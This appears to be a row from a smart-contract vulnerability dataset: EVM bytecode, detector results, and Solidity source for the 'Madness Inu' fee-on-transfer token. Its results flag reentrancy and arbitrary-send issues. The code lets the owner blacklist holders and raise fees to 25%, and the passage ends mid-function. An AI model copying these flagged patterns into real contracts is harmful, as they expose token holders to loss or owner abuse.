0x6080604052600436106100435760003560e01c806317a68dd81461005a5780635c60da1b1461008d5780638f283970146100be578063f851a440146100f157610052565b3661005257610050610106565b005b610050610106565b34801561006657600080fd5b506100506004803603602081101561007d57600080fd5b50356001600160a01b0316610120565b34801561009957600080fd5b506100a261015a565b604080516001600160a01b039092168252519081900360200190f35b3480156100ca57600080fd5b50610050600480360360208110156100e157600080fd5b50356001600160a01b0316610197565b3480156100fd57600080fd5b506100a261020c565b61010e61011e565b61011e610119610273565b610298565b565b6101286102bc565b6001600160a01b0316336001600160a01b0316141561014f5761014a816102e1565b610157565b610157610106565b50565b60006101646102bc565b6001600160a01b0316336001600160a01b0316141561018c57610185610273565b9050610194565b610194610106565b90565b61019f6102bc565b6001600160a01b0316336001600160a01b0316141561014f577f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6101e16102bc565b604080516001600160a01b03928316815291841660208301528051918290030190a161014a816103b1565b60006102166102bc565b6001600160a01b0316336001600160a01b0316141561018c576101856102bc565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061026b57508115155b949350505050565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156102b7573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6102ea81610237565b61035557604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f496d706c656d656e746174696f6e206e6f742073657400000000000000000000604482015290519081900360640190fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc8181556040516001600160a01b038316907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a25050565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035556fea26469706673582212203618f7b00e95bf7b6e952513f02f7d876de5522a2713b8ec9b76acc78adebbca64736f6c63430006080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,363 |
0x02dfb4544D4e0fC9a0C45903E5f23b75Fadaf9B7
|
/**
*Submitted for verification at Etherscan.io on 2022-03-17
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MadnessInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Madness Inu";
string private constant _symbol = "MadInu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2; // 2% Redistribution
uint256 private _teamFee = 10; // 6% Marketing and 4% Buyback Fee
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _Deployer;
address payable private _Buyback;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable marketfund, address payable developer, address payable buyback) {
_Marketingfund = marketfund;
_Deployer = developer;
_Buyback = buyback;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_Buyback] = true;
_isExcludedFromFee[_Deployer] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(10).mul(6));
_Buyback.transfer(amount.div(10).mul(4));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 20000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Deployer);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Deployer);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _Deployer);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() {
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function setMarketingWallet(address payable account) external onlyOwner() {
_Marketingfund = account;
}
function setDev(address payable account) external onlyOwner() {
_Deployer = account;
}
function setBB(address payable account) external onlyOwner() {
_Buyback = account;
}
}
|
0x6080604052600436106101bb5760003560e01c806395d89b41116100ec578063d00efb2f1161008a578063d65169c911610064578063d65169c9146104fb578063dd62ed3e1461051b578063e01af92c14610561578063e47d60601461058157600080fd5b8063d00efb2f146104a5578063d477f05f146104bb578063d543dbeb146104db57600080fd5b8063c0e6b46e116100c6578063c0e6b46e14610422578063c3c8cd8014610442578063c9567bf914610457578063cba0e9961461046c57600080fd5b806395d89b41146103b3578063a9059cbb146103e2578063b515566a1461040257600080fd5b8063437823ec116101595780636fc3eaec116101335780636fc3eaec1461034157806370a0823114610356578063715018a6146103765780638da5cb5b1461038b57600080fd5b8063437823ec146102e15780635932ead1146103015780635d098b381461032157600080fd5b806323b872dd1161019557806323b872dd14610263578063273123b71461028357806328667162146102a5578063313ce567146102c557600080fd5b806306fdde03146101c7578063095ea7b31461020d57806318160ddd1461023d57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600b81526a4d61646e65737320496e7560a81b60208201525b6040516102049190611d8f565b60405180910390f35b34801561021957600080fd5b5061022d610228366004611c20565b6105ba565b6040519015158152602001610204565b34801561024957600080fd5b50683635c9adc5dea000005b604051908152602001610204565b34801561026f57600080fd5b5061022d61027e366004611be0565b6105d1565b34801561028f57600080fd5b506102a361029e366004611b70565b61063a565b005b3480156102b157600080fd5b506102a36102c0366004611d4a565b61068e565b3480156102d157600080fd5b5060405160098152602001610204565b3480156102ed57600080fd5b506102a36102fc366004611b70565b61071b565b34801561030d57600080fd5b506102a361031c366004611d12565b610769565b34801561032d57600080fd5b506102a361033c366004611b70565b6107b1565b34801561034d57600080fd5b506102a36107fd565b34801561036257600080fd5b50610255610371366004611b70565b61082a565b34801561038257600080fd5b506102a361084c565b34801561039757600080fd5b506000546040516001600160a01b039091168152602001610204565b3480156103bf57600080fd5b506040805180820190915260068152654d6164496e7560d01b60208201526101f7565b3480156103ee57600080fd5b5061022d6103fd366004611c20565b6108c0565b34801561040e57600080fd5b506102a361041d366004611c4b565b6108cd565b34801561042e57600080fd5b506102a361043d366004611d4a565b610971565b34801561044e57600080fd5b506102a3610a10565b34801561046357600080fd5b506102a3610a46565b34801561047857600080fd5b5061022d610487366004611b70565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156104b157600080fd5b5061025560165481565b3480156104c757600080fd5b506102a36104d6366004611b70565b610e0d565b3480156104e757600080fd5b506102a36104f6366004611d4a565b610e59565b34801561050757600080fd5b506102a3610516366004611b70565b610f26565b34801561052757600080fd5b50610255610536366004611ba8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561056d57600080fd5b506102a361057c366004611d12565b610f72565b34801561058d57600080fd5b5061022d61059c366004611b70565b6001600160a01b03166000908152600e602052604090205460ff1690565b60006105c7338484610fb0565b5060015b92915050565b60006105de8484846110d4565b610630843361062b85604051806060016040528060288152602001611f60602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113b6565b610fb0565b5060019392505050565b6000546001600160a01b0316331461066d5760405162461bcd60e51b815260040161066490611de2565b60405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6000546001600160a01b031633146106b85760405162461bcd60e51b815260040161066490611de2565b600181101580156106ca575060198111155b6107165760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d20323500000000006044820152606401610664565b600955565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161066490611de2565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161066490611de2565b60148054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146107db5760405162461bcd60e51b815260040161066490611de2565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b03161461081d57600080fd5b47610827816113f0565b50565b6001600160a01b0381166000908152600260205260408120546105cb90611485565b6000546001600160a01b031633146108765760405162461bcd60e51b815260040161066490611de2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006105c73384846110d4565b6000546001600160a01b031633146108f75760405162461bcd60e51b815260040161066490611de2565b60005b815181101561096d576001600e600084848151811061092957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061096581611ef5565b9150506108fa565b5050565b6000546001600160a01b0316331461099b5760405162461bcd60e51b815260040161066490611de2565b600081116109eb5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610664565b610a0a612710610a04683635c9adc5dea0000084611509565b90611588565b600d5550565b6011546001600160a01b0316336001600160a01b031614610a3057600080fd5b6000610a3b3061082a565b9050610827816115ca565b6000546001600160a01b03163314610a705760405162461bcd60e51b815260040161066490611de2565b601454600160a01b900460ff1615610aca5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610664565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b073082683635c9adc5dea00000610fb0565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b4057600080fd5b505afa158015610b54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b789190611b8c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bc057600080fd5b505afa158015610bd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf89190611b8c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c4057600080fd5b505af1158015610c54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c789190611b8c565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610ca88161082a565b600080610cbd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610d2057600080fd5b505af1158015610d34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d599190611d62565b5050601480546801158e460913d000006015554360165563ffff00ff60a01b1981166201000160a01b1790915560135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610dd557600080fd5b505af1158015610de9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096d9190611d2e565b6000546001600160a01b03163314610e375760405162461bcd60e51b815260040161066490611de2565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e835760405162461bcd60e51b815260040161066490611de2565b60008111610ed35760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610664565b610eeb6064610a04683635c9adc5dea0000084611509565b60158190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b03163314610f505760405162461bcd60e51b815260040161066490611de2565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b031614610f9257600080fd5b60148054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b0383166110125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610664565b6001600160a01b0382166110735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610664565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111385760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610664565b6001600160a01b03821661119a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610664565b600081116111fc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610664565b6000546001600160a01b0384811691161480159061122857506000546001600160a01b03838116911614155b15611359576001600160a01b038316301461124c5760155481111561124c57600080fd5b6001600160a01b0383166000908152600e602052604090205460ff1615801561128e57506001600160a01b0382166000908152600e602052604090205460ff16155b80156112aa5750336000908152600e602052604090205460ff16155b6112b357600080fd5b60006112be3061082a565b9050600d5481106112ce5750600d545b600c546014549082101590600160a81b900460ff161580156112f95750601454600160b01b900460ff165b80156113025750805b801561131c57506014546001600160a01b03868116911614155b801561133657506013546001600160a01b03868116911614155b1561135657611344826115ca565b47801561135457611354476113f0565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061139b57506001600160a01b03831660009081526005602052604090205460ff165b156113a4575060005b6113b08484848461176f565b50505050565b600081848411156113da5760405162461bcd60e51b81526004016106649190611d8f565b5060006113e78486611ede565b95945050505050565b6010546001600160a01b03166108fc611415600661140f85600a611588565b90611509565b6040518115909202916000818181858888f1935050505015801561143d573d6000803e3d6000fd5b506012546001600160a01b03166108fc61145d600461140f85600a611588565b6040518115909202916000818181858888f1935050505015801561096d573d6000803e3d6000fd5b60006006548211156114ec5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610664565b60006114f661179d565b90506115028382611588565b9392505050565b600082611518575060006105cb565b60006115248385611ebf565b9050826115318583611e9f565b146115025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610664565b600061150283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117c0565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061162057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561167457600080fd5b505afa158015611688573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ac9190611b8c565b816001815181106116cd57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546116f39130911684610fb0565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061172c908590600090869030904290600401611e17565b600060405180830381600087803b15801561174657600080fd5b505af115801561175a573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061177c5761177c6117ee565b61178784848461181c565b806113b0576113b0600a54600855600b54600955565b60008060006117aa611913565b90925090506117b98282611588565b9250505090565b600081836117e15760405162461bcd60e51b81526004016106649190611d8f565b5060006113e78486611e9f565b6008541580156117fe5750600954155b1561180557565b60088054600a5560098054600b5560009182905555565b60008060008060008061182e87611955565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061186090876119b2565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461188f90866119f4565b6001600160a01b0389166000908152600260205260409020556118b181611a53565b6118bb8483611a9d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161190091815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061192f8282611588565b82101561194c57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006119728a600854600954611ac1565b925092509250600061198261179d565b905060008060006119958e878787611b10565b919e509c509a509598509396509194505050505091939550919395565b600061150283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113b6565b600080611a018385611e87565b9050838110156115025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610664565b6000611a5d61179d565b90506000611a6b8383611509565b30600090815260026020526040902054909150611a8890826119f4565b30600090815260026020526040902055505050565b600654611aaa90836119b2565b600655600754611aba90826119f4565b6007555050565b6000808080611ad56064610a048989611509565b90506000611ae86064610a048a89611509565b90506000611b0082611afa8b866119b2565b906119b2565b9992985090965090945050505050565b6000808080611b1f8886611509565b90506000611b2d8887611509565b90506000611b3b8888611509565b90506000611b4d82611afa86866119b2565b939b939a50919850919650505050505050565b8035611b6b81611f3c565b919050565b600060208284031215611b81578081fd5b813561150281611f3c565b600060208284031215611b9d578081fd5b815161150281611f3c565b60008060408385031215611bba578081fd5b8235611bc581611f3c565b91506020830135611bd581611f3c565b809150509250929050565b600080600060608486031215611bf4578081fd5b8335611bff81611f3c565b92506020840135611c0f81611f3c565b929592945050506040919091013590565b60008060408385031215611c32578182fd5b8235611c3d81611f3c565b946020939093013593505050565b60006020808385031215611c5d578182fd5b823567ffffffffffffffff80821115611c74578384fd5b818501915085601f830112611c87578384fd5b813581811115611c9957611c99611f26565b8060051b604051601f19603f83011681018181108582111715611cbe57611cbe611f26565b604052828152858101935084860182860187018a1015611cdc578788fd5b8795505b83861015611d0557611cf181611b60565b855260019590950194938601938601611ce0565b5098975050505050505050565b600060208284031215611d23578081fd5b813561150281611f51565b600060208284031215611d3f578081fd5b815161150281611f51565b600060208284031215611d5b578081fd5b5035919050565b600080600060608486031215611d76578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dbb57858101830151858201604001528201611d9f565b81811115611dcc5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e665784516001600160a01b031683529383019391830191600101611e41565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e9a57611e9a611f10565b500190565b600082611eba57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ed957611ed9611f10565b500290565b600082821015611ef057611ef0611f10565b500390565b6000600019821415611f0957611f09611f10565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082757600080fd5b801515811461082757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bb8d346735ad2692a793963d8af15ad485591fe498c71c4eb1c8ec0a72ceb62a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,364 |
0xccca67ef3796d7e9e0b9efbc4425bf3cf7f37e47
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
